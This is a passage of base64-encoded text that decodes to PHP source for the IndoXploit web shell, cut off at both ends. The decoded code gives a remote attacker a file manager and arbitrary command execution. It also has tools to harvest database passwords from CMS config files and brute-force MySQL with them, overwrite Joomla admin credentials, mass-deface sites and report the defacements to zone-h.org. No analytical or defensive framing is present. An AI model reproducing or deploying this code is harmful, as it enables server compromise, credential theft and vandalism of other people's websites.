FBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTEV3QUFDeE1CQUpxY0dBQUFBQWQwU1UxRkI5b0pCaGNUSnYyQjJkNEFBQUpNU1VSQlZEakxiWk85VGh4WkVJVy9xbHZkdE0zOEJOZ0pRbVFnSkdkK0EvTVFCTHdHaml3SDNud2RrU0x0TzJ4RVJHNUxxeFhSU0lSMllEZkQ0R2tHTTBQM3JiNGI5UEF6MGw3cFNsV2xXMGZubkxvbEFJUEI0UFhoNGVGdW51Y0FJSUx3ZEVTZVp5QWlmbnA2K3U5b05MbzNnTTNOelRkSFIrLy96dkpNelN5SktLb2RpSWc4QVhheGVJejFiRFo3TXhxTmZ0Z1NVUkRXeTdMVW5aMGRZbXhBRkFWRWxJNkFFQ3lnSXNRUXNpekxCT0FCQURPaktBcHFoN3U3R29DVVdpd1liZXRvVUhyclBjd0Nxb0YyS1VlWEx6RXpCdjArdVFtU0hNRVo5RjZTWmNyNmk0SXNCT2EvYjdIUU1hSHRJQXdnTGRIYWxEQTFldjBlUWJTanJFclF3SnBxRjRlQXgvaG9xRDEzMm1Na0pyaTV1U09sRmhFaHBVUUlpb2p3YW1PRE5zbGpmVVdDcXBMbk9hYUNTS0p0bmFCQ3NaWWpBbGxtWEk0dmFlb2FWWDBjYlNkaG1VUjN6QUt2TmpZNlZpb28wdFd6Z0VvbktiVytLa0dXdDNVbnQwQ2VHZkpzOWcrVVUwckVHSEgvSHcvTWpINi9UK1BPZEZvUk5LQ2hNMjJ4bU9QZXNwalBHUTZIcE5RMjd0NnNBQ0RTTmFueW9sakRMRWRWYUZPTGU4WmtVaks1dWtxM3Q3OWxQQzcvT0RrNUdhK1k2TzVNcXltTnczVjF5M2h5emZYMGhxdkpMeWJYRmQrK2YyZDNkMGRtcytxdmc0T0R6OGZIeDAvTHNiZTM5NjRzUzcrNHVFanVucHFtU2U2ZTNEM041L04wV1pidGx5OWYwOW5aMlovYjI5djJmTEVldnZLOXF2N2MydG9LaThVaWlRaXFIYm02cmlXNmExM2ZuK3p2NzMrb3FvcmhjTGdLVUZYVlArZm41MitMb25qOElMSjBQOFpJQ0NGOS9QVHBDbGhwQnZnUGVsb0w5VTU1TklBQUFBQUFTVVZPUks1Q1lJST0nPjxhIGhyZWY9Jz9hY3Q9dmlldyZkaXI9Ii5wYXRoKCkuIiZmaWxlPSIuJGZpbGVpbmZvWydwYXRoJ10uIic+JGZpbGVzPC9hPjwvdGQ+IjsNCgkJcHJpbnQgIjx0ZCBjbGFzcz0ndGRfaG9tZScgc3R5bGU9J3RleHQtYWxpZ246IGNlbnRlcjsnPiIuJGZpbGVpbmZvWyd0eXBlJ10uIjwvdGQ+IjsNCgkJcHJpbnQgIjx0ZCBjbGFzcz0ndGRfaG9tZScgc3R5bGU9J3RleHQtYWxpZ246IGNlbnRlcjsnPiIuJGZpbGVpbmZvWydzaXplJ10uIjwvdGQ+IjsNCgkJcHJpbnQgIjx0ZCBjbGFzcz0ndGRfaG9tZScgc3R5bGU9J3RleHQtYWxpZ246IGNlbnRlcjsnPiIuJGZpbGVpbmZvWyd0aW1lJ10uIjwvdGQ+IjsNCgkJcHJpbnQgIjx0ZCBjbGFzcz0ndGRfaG9tZScgc3R5bGU9J3RleHQtYWxpZ246IGNlbnRlcjsnPiIuJGZpbGVpbmZvWydvd25lciddLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGVpbmZvWydncm91cCddLiI8L3RkPiI7DQoJCXByaW50ICI8dGQgY2xhc3M9J3RkX2hvbWUnIHN0eWxlPSd0ZXh0LWFsaWduOiBjZW50ZXI7Jz4iLiRmaWxlaW5mb1sncGVybXMnXS4iPC90ZD4iOw0KCQlwcmludCAiPHRkIGNsYXNzPSd0ZF9ob21lJyBzdHlsZT0ncGFkZGluZy1sZWZ0OiAxNXB4Oyc+PGEgaHJlZj0nP2FjdD1lZGl0JmRpcj0iLnBhdGgoKS4iJmZpbGU9Ii4kZmlsZWluZm9bJ3BhdGgnXS4iJz5lZGl0PC9hPiB8IDxhIGhyZWY9Jz9hY3Q9cmVuYW1lJmRpcj0iLnBhdGgoKS4iJmZpbGU9Ii4kZmlsZWluZm9bJ3BhdGgnXS4iJz5yZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2FjdD1kZWxldGUmZGlyPSIucGF0aCgpLiImZmlsZT0iLiRmaWxlaW5mb1sncGF0aCddLiInPmRlbGV0ZTwvYT4gfCA8YSBocmVmPSc/YWN0PWRvd25sb2FkJmRpcj0iLnBhdGgoKS4iJmZpbGU9Ii4kZmlsZWluZm9bJ3BhdGgnXS4iJz5kb3dubG9hZDwvYT48L3RkPiI7DQoJCXByaW50ICI8L3RyPiI7DQoJfQ0KCXByaW50ICI8L3RhYmxlPiI7DQoJcHJpbnQgIjxjZW50ZXI+Q29weXJpZ2h0ICZjb3B5OyAiLmRhdGUoIlkiKS4iIC0gPGEgaHJlZj0naHR0cDovL2luZG94cGxvaXQub3IuaWQvJyB0YXJnZXQ9J19ibGFuayc+Ii5jb2xvcigxLCAyLCAiSW5kb1hwbG9pdCIpLiI8L2E+PC9jZW50ZXI+IjsNCn0NCmZ1bmN0aW9uIGFjdGlvbigpIHsNCgl0b29scygidXBsb2FkIik7DQoJdG9vbHMoImNtZCIpOw0KCXByaW50ICI8aHIgc3R5bGU9J21hcmdpbi10b3A6IDE1cHg7IG1hcmdpbi1ib3R0b206IDEwcHg7Jz4iOw0KCXByaW50ICI8Y2VudGVyPiI7DQoJcHJpbnQgIjx1bD4iOw0KCXByaW50ICI8bGk+WyA8YSBocmVmPSc/Jz5Ib21lPC9hPiBdPC9saT4iOw0KCXByaW50ICI8bGk+WyA8YSBocmVmPSc/ZGlyPSIucGF0aCgpLiImZG89ZmFrZXJvb3QnPkZha2UgUm9vdDwvYT4gXTwvbGk+IjsNCglwcmludCAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0iLnBhdGgoKS4iJmRvPWNwYW5lbCc+Y1BhbmVsIENyYWNrPC9hPiBdPC9saT4iOw0KCXByaW50ICI8bGk+WyA8YSBocmVmPSc/ZGlyPSIucGF0aCgpLiImZG89bXBjJz5NYXNzIFBhc3N3b3JkIENoYW5nZTwvYT4gXTwvbGk+IjsNCglwcmludCAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0iLnBhdGgoKS4iJmRvPW1hc3MnPk1hc3MgRGVmYWNlL0RlbGV0ZTwvYT4gXTwvbGk+IjsNCglwcmludCAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0iLnBhdGgoKS4iJmRvPWxyZSc+TG9jYWwgUm9vdCBFeHBsb2l0ZXI8L2E+IF08L2xpPiI7DQoJcHJpbnQgIjxsaT5bIDxhIGhyZWY9Jz9kaXI9Ii5wYXRoKCkuIiZkbz16b25laCc+Wm9uZS1IPC9hPiBdPC9saT4iOw0KCXByaW50ICI8L3VsPiI7DQoJcHJpbnQgIjwvY2VudGVyPiI7DQoJcHJpbnQgIjxociBzdHlsZT0nbWFyZ2luLXRvcDogMTVweDsgbWFyZ2luLWJvdHRvbTogMTBweDsnPiI7DQoJaWYoaXNzZXQoJF9HRVRbJ2RvJ10pKSB7DQoJCWlmKCRfR0VUWydkbyddID09PSAiY21kIikgew0KCQkJaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpIHsNCgkJCQlpZihwcmVnX21hdGNoKCIvXnJmICguKikkLyIsICRfUE9TVFsnY21kJ10sICRtYXRjaCkpIHsNCgkJCQkJdG9vbHMoInJlYWRmaWxlIiwgJG1hdGNoWzFdKTsNCgkJCQl9DQoJCQkJZWxzZWlmKHByZWdfbWF0Y2goIi9ec3Bhd24gKC4qKSQvIiwgJF9QT1NUWydjbWQnXSwgJG1hdGNoKSkgew0KCQkJCQl0b29scygic3Bhd24iLCAkbWF0Y2hbMV0pOw0KCQkJCX0NCgkJCQllbHNlaWYocHJlZ19tYXRjaCgiL15zeW1saW5rJC8iLCAkX1BPU1RbJ2NtZCddLCAkbWF0Y2gpKSB7DQoJCQkJCXRvb2xzKCJzeW1saW5rIik7DQoJCQkJfQ0KCQkJCWVsc2VpZihwcmVnX21hdGNoKCIvXnJ2ciAoLiopJC8iLCAkX1BPU1RbJ2NtZCddLCAkbWF0Y2gpKSB7DQoJCQkJCXRvb2xzKCJuZXR3b3JrIiwgJG1hdGNoWzFdKTsNCgkJCQl9DQoJCQkJZWxzZWlmKHByZWdfbWF0Y2goIi9ea3JkcCQvIiwgJF9QT1NUWydjbWQnXSkpIHsNCgkJCQkJdG9vbHMoImtyZHAiKTsNCgkJCQl9DQoJCQkJZWxzZWlmKHByZWdfbWF0Y2goIi9eanVtcGluZyQvIiwgJF9QT1NUWydjbWQnXSkpIHsNCgkJCQkJdG9vbHMoImp1bXBpbmciKTsNCgkJCQl9DQoJCQkJZWxzZWlmKHByZWdfbWF0Y2goIi9eaWR4Y29uZmlnJC8iLCAkX1BPU1RbJ2NtZCddKSkgew0KCQkJCQl0b29scygiaWR4Y29uZmlnIik7DQoJCQkJfQ0KCQkJCWVsc2VpZihwcmVnX21hdGNoKCIvXmxvZ291dCQvIiwgJF9QT1NUWydjbWQnXSkpIHsNCgkJCQkJdW5zZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7DQoJCQkJCXByaW50ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nPyc7PC9zY3JpcHQ+IjsNCgkJCQl9DQoJCQkJZWxzZWlmKHByZWdfbWF0Y2goIi9ea2lsbG1lJC8iLCAkX1BPU1RbJ2NtZCddKSkgew0KCQkJCQl1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsNCgkJCQkJQHVubGluayhfX0ZJTEVfXyk7DQoJCQkJCXByaW50ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nPyc7PC9zY3JpcHQ+IjsNCgkJCQl9DQoJCQkJZWxzZSB7DQoJCQkJCXByaW50ICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2Ugew0KCQkJCWZpbGVzX2FuZF9mb2xkZXIoKTsNCgkJCX0NCgkJfQ0KCQllbHNlaWYoJF9HRVRbJ2RvJ10gPT09ICJ6b25laCIpIHsNCgkJCWlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pIEFORCAkX0dFVFsnZG8nXSA9PT0gInpvbmVoIikgew0KCQkJCSRuaWNrIAk9ICRfUE9TVFsnbmljayddOw0KCQkJCSRkb21haW4gPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7DQoJCQkJcHJpbnQgIkRlZmFjZXIgT25ob2xkOiA8YSBocmVmPSdodHRwOi8vd3d3LnpvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj0kbmljay9wdWJsaXNoZWQ9MCcgdGFyZ2V0PSdfYmxhbmsnPmh0dHA6Ly93d3cuem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPSRuaWNrL3B1Ymxpc2hlZD0wPC9hPjxicj4iOw0KCQkJCXByaW50ICJEZWZhY2VyIEFyY2hpdmU6IDxhIGhyZWY9J2h0dHA6Ly93d3cuem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPSRuaWNrJyB0YXJnZXQ9J19ibGFuayc+aHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2s8L2E+PGJyPjxicj4iOw0KCQ0KCQkJCWZvcmVhY2goJGRvbWFpbiBhcyAkbm8gPT4gJHVybCkgew0KCQkJCQkkbm8gICA9ICgkbm8rMSkuIi4iOw0KCQkJCQkkcG9zdCA9IGN1cmwoImh0dHA6Ly93d3cuem9uZS1oLm9yZy9ub3RpZnkvc2luZ2xlIiwgVFJVRSwgImRlZmFjZXI9JG5pY2smZG9tYWluMT0kdXJsJmhhY2ttb2RlPTEmcmVhc29uPTEmc3VibWl0PVNlbmQiKTsNCgkJCQkJaWYocHJlZ19tYXRjaCgiL2NvbG9yPVwicmVkXCI+T0s8XC9mb250PjxcL2xpPi9pIiwgJHBvc3QpKSB7DQoJCQkJCQlwcmludCAiJG5vICR1cmwgLT4gIi5jb2xvcigxLCAyLCAiT0siKS4iPGJyPiI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQlwcmludCAiJG5vICR1cmwgLT4gIi5jb2xvcigxLCAxLCAiRVJST1IiKS4iPGJyPiI7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQllbHNlIHsNCgkJCQlwcmludCAiPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP2RvPXpvbmVoJmRpcj0iLnBhdGgoKS4iJz4NCgkJICAgIAkgICAgICAgRGVmYWNlcjogPGJyPg0KCQkgICAgCSAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmljaycgc2l6ZT0nNTAnIHZhbHVlPSdJbmRvWHBsb2l0Jz48YnI+PGJyPg0KCQkgICAgCSAgICAgICBEb21haW5zOiA8YnI+DQoJCSAgICAJICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDE1MHB4OycgbmFtZT0ndXJsJyBwbGFjZWhvbGRlcj0naHR0cDovL2dvb2dsZS5jb20vJz48L3RleHRhcmVhPjxicj4NCgkJICAgIAkgICAgICAgPGlucHV0IHN0eWxlPSdiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgY29sb3I6ICNmZmZmZmY7IGJvcmRlcjogMXB4IHNvbGlkICNmZmZmZmY7IHdpZHRoOiA0NjBweDsnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nU3VibWl0Jz4NCgkJICAgIAkgICAgICAgPC9mb3JtPjwvY2VudGVyPiI7DQoJCSAgIAl9DQoJCX0NCgkJZWxzZWlmKCRfR0VUWydkbyddID09ICdjcGFuZWwnKSB7DQoJCQlpZigkX1BPU1RbJ2NyYWNrJ10pIHsNCgkJCQkkdXNlcmNwID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXNlcl9jcCddKTsNCgkJCQkkcGFzc2NwID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsncGFzc19jcCddKTsNCgkJCQkkaSA9IDA7DQoJCQkJZm9yZWFjaCgkdXNlcmNwIGFzICR1Y3ApIHsNCgkJCQkJZm9yZWFjaCgkcGFzc2NwIGFzICRwY3ApIHsNCgkJCQkJCSRjb25uZWN0ID0gbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywgJHVjcCwgJHBjcCk7DQoJCQkJCQlpZigkY29ubmVjdCkgew0KCQkJCQkJCWlmKCRfU0VTU0lPTlskdWNwXSAmJiAkX1NFU1NJT05bJHBjcF0pIHsNCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkkX1NFU1NJT05bJHVjcF0gPSAiMSI7DQoJCQkJCQkJCSRfU0VTU0lPTlskcGNwXSA9ICIxIjsNCgkJCQkJCQkJaWYoJHVjcCA9PT0gJycgfHwgJHBjcCA9PT0gJycpIHsNCgkJCQkJCQkJCS8vIA0KCQkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkJJGkrKzsNCgkJCQkJCQkJCXByaW50ICJ1c2VybmFtZSAoIi5jb2xvcigxLCAyLCAkdWNwKS4iKSBwYXNzd29yZCAoIi5jb2xvcigxLCAyLCAkcGNwKS4iKSBkb21haW4gKCI7DQoJCQkJCQkJCQlpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSBwcmludCBjb2xvcigxLCAxLCAiRnVuY3Rpb24gaXMgRGlzYWJsZSBieSBTeXN0ZW0hIik7DQoJCQkJCQkJCQlpZighZ2V0ZG9tYWlubmFtZSgpKSBwcmludCBjb2xvcigxLCAxLCAiQ2FuJ3QgZ2V0IGRvbWFpbiBuYW1lIik7DQoJCQkJCQkJCQlmb3JlYWNoKGdldGRvbWFpbm5hbWUoKSBhcyAkZG9tYWluKSB7DQoJCQkJCQkJCQkJJHVzZXJkb21haW4gPSAob2JqZWN0KSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8kZG9tYWluIikpOw0KCQkJCQkJCQkJCSR1c2VyZG9tYWluID0gJHVzZXJkb21haW4tPm5hbWU7DQoJCQkJCQkJCQkJaWYoJHVzZXJkb21haW4gPT09ICR1c2VyKSB7DQoJCQkJCQkJCQkJCXByaW50ICI8YSBocmVmPSdodHRwOi8vJGRvbWFpbi8nIHRhcmdldD0nX2JsYW5rJz4iLmNvbG9yKDEsIDIsICRkb21haW4pLiI8L2E+PGJyPiI7DQoJCQkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXByaW50IChlbXB0eSgkZG9tYWluKSkgPyBjb2xvcigxLCAxLCAiQ2FuJ3QgZ2V0IGRvbWFpbiBuYW1lLiIpIDogY29sb3IoMSwgMiwgJGRvbWFpbik7DQoJCQkJCQkJCQlwcmludCAiKTxicj4iOw0KCQkJCQkJCQl9DQoJCQkJCQkJfQ0KCQkJCQkJCW15c3FsX2Nsb3NlKCRjb25uZWN0KTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlwcmludCAoJGkgPT09IDApID8gIiIgOiAiPHA+Ii5jb2xvcigxLCAzLCAiU3Vrc2VzIG55b2xvbmcgJGkgQ3BhbmVsIGJ5IEluZG9YcGxvaXQiKS4iPC9wPiI7DQoJCQl9IGVsc2Ugew0KCQkJCXByaW50ICI8Y2VudGVyPg0KCQkJCQkgICA8c3Bhbj5OQjogQ1BhbmVsIENyYWNrIGluaSBzdWRhaCBhdXRvIGdldCBwYXNzd29yZCAoIHBha2UgZGIgcGFzc3dvcmQgKSBtYWthIGFrYW4gd29yayBqaWthIGRpamFsYW5rYW4gZGkgZGFsYW0gZm9sZGVyIDx1PmNvbmZpZzwvdT4gKCBleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9uYW1hX2ZvbGRlcl9jb25maWcgKTwvc3Bhbj48YnI+DQoJCQkJCSAgIDxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQkJCSAgIFVTRVI6IDxicj4NCgkJCQkJICAgPHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMTUwcHg7JyBuYW1lPSd1c2VyX2NwJz4iOw0KCQkJCXByaW50IGltcGxvZGUoIlxuIiwgZ2V0dXNlcigpKTsNCgkJCQlwcmludCAiPC90ZXh0YXJlYT48YnI+DQoJCQkJCSAgIFBBU1M6IDxicj4NCgkJCQkJICAgPHNwYW4+R3JhYiBQYXNzd29yZCBmcm9tIExpbmsgQ29uZmlnOjwvc3Bhbj48YnI+DQoJCQkJCSAgIDxpbnB1dCBzdHlsZT0nd2lkdGg6IDQyNXB4OyBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgYm9yZGVyOiAxcHggc29saWQgI2ZmZmZmZjsgY29sb3I6ICNmZmZmZmY7JyB0eXBlPSd0ZXh0JyBuYW1lPSdsaW5rcGFzcycgcGxhY2Vob2xkZXI9J2h0dHA6Ly93ZWIuY29tL2lkeF9jb25maWcvJz4NCgkJCQkJICAgPGlucHV0IHN0eWxlPSdiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgYm9yZGVyOiAxcHggc29saWQgI2ZmZmZmZjsgY29sb3I6ICNmZmZmZmY7JyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdGxpbmsnIHZhbHVlPSc+Pic+DQoJCQkJCSAgIDxicj4NCgkJCQkJICAgPHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMjAwcHg7JyBuYW1lPSdwYXNzX2NwJz4iOw0KCQkJCWlmKGlzc2V0KCRfUE9TVFsnc3VibWl0bGluayddKSkgew0KCQkJCQkkZ2V0cGFzcyA9ICRfUE9TVFsnbGlua3Bhc3MnXTsNCgkJCQkJJGdldCA9IGN1cmwoJF9QT1NUWydsaW5rcGFzcyddKTsNCgkJCQkJcHJlZ19tYXRjaF9hbGwoJy88YSBocmVmPSIoLio/KS50eHQiPi8nLCAkZ2V0LCAkbGluayk7DQoJCQkJCWZvcmVhY2goJGxpbmtbMV0gYXMgJGxpbmtfY29uZmlnKSB7DQoJCQkJCQkkc2NhbmRpcltdID0gIiRsaW5rX2NvbmZpZy50eHQiOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVsc2Ugew0KCQkJCQkkZ2V0cGFzcyA9IHBhdGgoKTsNCgkJCQkJJHNjYW5kaXIgPSBzY2FuZGlyKCRnZXRwYXNzKTsNCgkJCQl9DQoJCQkJJHBhc3N3b3JkID0gIiI7DQoJCQkJZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZXMpIHsNCgkJCQkJJGZpbGUgPSAiJGdldHBhc3MvJGZpbGVzIjsNCgkJCQkJJGNvbmZpZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsNCgkJCQkJaWYocHJlZ19tYXRjaCgiL1dvcmRQcmVzcy8iLCAkY29uZmlnKSkgew0KCQkJCQkJJHBhc3N3b3JkIC49IGdldFZhbHVlKCRjb25maWcsICJEQl9QQVNTV09SRCcsICciLCAiJyIpLiJcbiI7DQoJCQkJCX0gDQoJCQkJCWVsc2VpZihwcmVnX21hdGNoKCIvSkNvbmZpZ3xqb29tbGEvIiwgJGNvbmZpZykpIHsNCgkJCQkJCSRwYXNzd29yZCAuPSBnZXRWYWx1ZSgkY29uZmlnLCAicGFzc3dvcmQgPSAnIiwgIiciKS4iXG4iOw0KCQkJCQl9IA0KCQkJCQllbHNlaWYocHJlZ19tYXRjaCgiL01hZ2VudG98TWFnZV9Db3JlLyIsICRjb25maWcpKSB7DQoJCQkJCQkkcGFzc3dvcmQgLj0gZ2V0VmFsdWUoJGNvbmZpZywgIjxwYXNzd29yZD48IVtDREFUQVsiLCAiXV0+PC9wYXNzd29yZD4iKS4iXG4iOw0KCQkJCQl9IA0KCQkJCQllbHNlaWYocHJlZ19tYXRjaCgiL3BhbmdnaWwgZnVuZ3NpIHZhbGlkYXNpIHhzcyBkYW4gaW5qZWN0aW9uLyIsICRjb25maWcpKSB7DQoJCQkJCQkkcGFzc3dvcmQgLj0gZ2V0VmFsdWUoJGNvbmZpZywgJ3Bhc3N3b3JkID0gIicsICciJykuIlxuIjsNCgkJCQkJfSANCgkJCQkJZWxzZWlmKHByZWdfbWF0Y2goIi9IVFRQX1NFUlZFUnxIVFRQX0NBVEFMT0d8RElSX0NPTkZJR3xESVJfU1lTVEVNLyIsICRjb25maWcpKSB7DQoJCQkJCQkkcGFzc3dvcmQgLj0gZ2V0VmFsdWUoJGNvbmZpZywgIidEQl9QQVNTV09SRCcsICciLCAiJyIpLiJcbiI7DQoJCQkJCX0gDQoJCQkJCWVsc2VpZihwcmVnX21hdGNoKCIvXltjbGllbnRdJC8iLCAkY29uZmlnKSkgew0KCQkJCQkJcHJlZ19tYXRjaCgiL3Bhc3N3b3JkPSguKj8pLyIsICRjb25maWcsICRwYXNzKTsNCgkJCQkJCWlmKHByZWdfbWF0Y2goJy8iLycsICRwYXNzWzFdKSkgew0KCQkJCQkJCSRwYXNzWzFdID0gc3RyX3JlcGxhY2UoJyInLCAiIiwgJHBhc3NbMV0pOw0KCQkJCQkJCSRwYXNzd29yZCAuPSAkcGFzc1sxXS4iXG4iOw0KCQkJCQkJfSANCgkJCQkJCWVsc2Ugew0KCQkJCQkJCSRwYXNzd29yZCAuPSAkcGFzc1sxXS4iXG4iOw0KCQkJCQkJfQ0KCQkJCQl9IA0KCQkJCQllbHNlaWYocHJlZ19tYXRjaCgiL2NjX2VuY3J5cHRpb25faGFzaC8iLCAkY29uZmlnKSkgew0KCQkJCQkJJHBhc3N3b3JkIC49IGdldFZhbHVlKCRjb25maWcsICJkYl9wYXNzd29yZCA9ICciLCAiJyIpLiJcbiI7DQoJCQkJCX0NCgkJCQl9DQoJCQkJcHJpbnQgJHBhc3N3b3JkOw0KCQkJCXByaW50ICI8L3RleHRhcmVhPjxicj4NCgkJCQkJICAgPGlucHV0IHN0eWxlPSdiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgY29sb3I6ICNmZmZmZmY7IGJvcmRlcjogMXB4IHNvbGlkICNmZmZmZmY7IHdpZHRoOiA0NjBweDsnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nY3JhY2snIHZhbHVlPSdDcmFjayc+DQoJCQkJCSAgIDwvZm9ybT48L2NlbnRlcj4iOw0KCQkJfQ0KCQl9DQoJCWVsc2VpZigkX0dFVFsnZG8nXSA9PSAnbXBjJykgew0KCQkJaWYoJF9QT1NUWydoYWphciddKSB7DQoJCQkJaWYoc3RybGVuKCRfUE9TVFsncGFzc19iYXJ1J10pIDwgNiBPUiBzdHJsZW4oJF9QT1NUWyd1c2VyX2JhcnUnXSkgPCA2KSB7DQoJCQkJCXByaW50ICJ1c2VybmFtZSBhdGF1IHBhc3N3b3JkIGhhcnVzIGxlYmloIGRhcmkgNiBrYXJha3RlciI7DQoJCQkJfSANCgkJCQllbHNlIHsNCgkJCQkJJHVzZXJfYmFydSA9ICRfUE9TVFsndXNlcl9iYXJ1J107DQoJCQkJCSRwYXNzX2JhcnUgPSBtZDUoJF9QT1NUWydwYXNzX2JhcnUnXSk7DQoJCQkJCSRjb25mID0gJF9QT1NUWydjb25maWdfZGlyJ107DQoJCQkJCWlmKHByZWdfbWF0Y2goIi9eaHR0cDpcL1wvLyIsICRjb25mKSBPUiBwcmVnX21hdGNoKCIvXmh0dHBzOlwvXC8vIiwgJGNvbmYpKSB7DQoJCQkJCQkkZ2V0ID0gY3VybCgkY29uZik7DQoJCQkJCQlwcmVnX21hdGNoX2FsbCgnLzxhIGhyZWY9IiguKj8pLnR4dCI+LycsICRnZXQsICRsaW5rKTsNCgkJCQkJCWZvcmVhY2goJGxpbmtbMV0gYXMgJGxpbmtfY29uZmlnKSB7DQoJCQkJCQkJJHNjYW5fY29uZltdID0gIiRsaW5rX2NvbmZpZy50eHQiOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWVsc2Ugew0KCQkJCQkJJHNjYW5fY29uZiA9IHNjYW5kaXIoJGNvbmYpOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJHNjYW5fY29uZiBhcyAkZmlsZV9jb25mKSB7DQoJCQkJCQkkY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoIiRjb25mLyRmaWxlX2NvbmYiKTsNCgkJCQkJCWlmKHByZWdfbWF0Y2goIi9KQ29uZmlnfGpvb21sYS8iLCRjb25maWcpKSB7DQoJCQkJCQkJJGRiaG9zdCA9IGdldFZhbHVlKCRjb25maWcsImhvc3QgPSAnIiwiJyIpOw0KCQkJCQkJCSRkYnVzZXIgPSBnZXRWYWx1ZSgkY29uZmlnLCJ1c2VyID0gJyIsIiciKTsNCgkJCQkJCQkkZGJwYXNzID0gZ2V0VmFsdWUoJGNvbmZpZywicGFzc3dvcmQgPSAnIiwiJyIpOw0KCQkJCQkJCSRkYm5hbWUgPSBnZXRWYWx1ZSgkY29uZmlnLCJkYiA9ICciLCInIik7DQoJCQkJCQkJJGRicHJlZml4ID0gZ2V0VmFsdWUoJGNvbmZpZywiZGJwcmVmaXggPSAnIiwiJyIpOw0KCQkJCQkJCSRwcmVmaXggPSAkZGJwcmVmaXguInVzZXJzIjsNCgkJCQkJCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MpOw0KCQkJCQkJCSRkYiA9IG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCgkJCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgaWQgQVNDIik7DQoJCQkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJCQkkaWQgPSAkcmVzdWx0WydpZCddOw0KCQkJCQkJCSRzaXRlID0gZ2V0VmFsdWUoJGNvbmZpZywic2l0ZW5hbWUgPSAnIiwiJyIpOw0KCQkJCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJuYW1lPSckdXNlcl9iYXJ1JyxwYXNzd29yZD0nJHBhc3NfYmFydScgV0hFUkUgaWQ9JyRpZCciKTsNCgkJCQkJCQlwcmludCAiQ29uZmlnID0+ICIuJGZpbGVfY29uZi4iPGJyPiI7DQoJCQkJCQkJcHJpbnQgIkNNUyA9PiBKb29tbGE8YnI+IjsNCgkJCQkJCQlpZigkc2l0ZSA9PSAnJykgew0KCQkJCQkJCQlwcmludCAiU2l0ZW5hbWUgPT4gIi5jb2xvcigxLCAxLCAiQ2FuJ3QgZ2V0IGRvbWFpbiBuYW1lIikuIjxicj4iOw0KCQkJCQkJCX0gDQoJCQkJCQkJZWxzZSB7DQoJCQkJCQkJCXByaW50ICJTaXRlbmFtZSA9PiAkc2l0ZTxicj4iOw0KCQkJCQkJCX0NCgkJCQkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgew0KCQkJCQkJCQlwcmludCAiU3RhdHVzID0+ICIuY29sb3IoMSwgMSwgbXlzcWxfZXJyb3IoKSkuIjxicj48YnI+I